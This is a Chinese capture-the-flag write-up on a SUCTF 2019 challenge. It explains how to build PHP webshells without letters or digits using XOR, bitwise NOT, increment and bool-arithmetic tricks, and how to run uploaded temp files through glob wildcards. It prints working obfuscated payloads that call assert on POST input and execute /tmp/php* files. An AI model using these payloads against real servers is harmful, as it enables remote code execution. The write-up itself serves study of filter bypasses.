前言
在整理2019SUCTF的赛题时,其中有一题代码审计,限制字符、字符串长度,让你构造一个webshell。
1 |
|
自己太菜,根本想不到骚操作,一顿搜索、查看题解之后有了此篇总结。
webshell的构造
抛开题目,我们先来想如果没有字母数字,我们该怎么构造webshell
单纯无字母数字构造webshell,不考虑长度的话,思路有两个
1. 利用位运算
2. 利用自增运算符
以如下代码为例
1 |
|
思路一
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。我们可以利用两个非字母非数字的进行异或操作来得到a-z0-8这些字符。
异或运算中
a^b=c
c^b=a
所以我们先将phpinfo分别与 ` 进行异或操作
得到的结果(url编码表示)为
1 | p ---- %10 |
构造payload?shell=('%10%08%10%09%0e%06%0f'^'%60%60%60%60%60%60%60')();
得到shell
p神的payload?shell=(~%8F%97%8F%96%91%99%90)();
PHP7前是不允许用($a)();这样的方法来执行动态函数的,只有PHP7之后的版本中增加了对此的支持。
所以我们需要改变一下函数调用(PHP5环境)
php5中assert是一个函数,我们可以通过$f='assert';$f(...);
这样的方法来动态执行任意代码。assert函数类似于eval,上传的字符串会被当做PHP代码执行。
因此利用上面的方法我可以构造payload
1 |
|
1 | ?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]); |
同时向服务器POST命令
思路二(Copy P神)
先看文档: http://php.net/manual/zh/language.operators.increment.php
也就是说,’a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
再取这个字符串的第一个字母,就可以获得’A’了。
利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a):
1 |
|
执行结果:
陆老板的思路
在思路二中我们已经获取到了字母A,接下来我们尝试单纯用字母a,没有其他字母和数字能够构造webshell。
先来看PHP的特性(php -a
命令调出控制台)
1 | php > var_dump(a); |
我们可以看到将字符a逻辑反(!
)后,php就自动处理为bool类型
而对bool类型计算时,bool类型又会转为int类型
因此我们可以利用这一特性和chr函数来构造phpinfo
payload如下(payload需要url编码)
1 | (AYAYYRY^trim(((((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a)))+(((!!a+!!a))**((!!a))))))(); |
WP
回到最初的题目,构造shell类似?_=$_POST['x']
其中后端过滤了一些字符,因此需要处理一下
将_GET
取反,并选择一个为被过滤的字符用来传参
%ff^ = ~
即
1 | ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(); |
查看phpinfo只要&%ff=phpinfo
这里为什么不适用POST,就是因为它对长度进行了限制,而恰巧GET是最大限度
补充
多次异或
有些题目不是对长度进行限制,而是对字符种类进行限制,这样字符种类过多的payload就不适用。我们可以通过多次位(异或)操作a^b^c
来减小字符种类。
php5+shell构造webshell
由于php5不支持($a)()特性,所以在过滤掉$
字符时,我们需要另找方法构造。
构造文件(COPY P神)
p神提供了一个思路:利用shell打破禁锢
首先了解一下Linux shell的两个知识点
- shell下可以利用
.
来执行任意脚本 - Linux文件名支持用glob通配符代替
.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符
那么,/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。
但我们尝试执行. /???/?????????,却得到如下错误:
这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:
可见,我们要执行的/tmp/phpcjggLC排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。
思路又陷入了僵局,虽然方向没错。
深入理解glob通配符
对于通配符,可能大家知道的都只有*和?。但实际上,阅读Linux的文档http://man7.org/linux/man-pages/man7/glob.7.html ,可以学到更多有趣的知识点。
其中,glob支持用[^x]
的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts:
排除了第4个字符是-
的文件,同样我们可以排除包含.
的文件:
现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。
继续阅读glob的帮助,我发现另一个有趣的用法:
就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。
我们再来看看之前列出可能干扰我们的文件:
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
翻开ascii码表,可见大写字母位于@与[之间:
显然这一招是管用的。
生成webshell
为保持长度小于35且不存在$,则将$带入后面一个表达式,同时使用*来匹配最后文件
1 | 20/???/???/????/*`?> =`/???/???% |
其含义如下
1 | echo `/bin/cat /var/www/html/index.php` |
也可以通过.
操作来使用bash运行此文件
1 | 20/???/???/????/*`?> =`.% |
参考资料
P神的一些不包含数字和字母的webshell
P神的无字母数字webshell之提高篇
陆老板的一道题回顾php异或webshell
SUCTF2019WP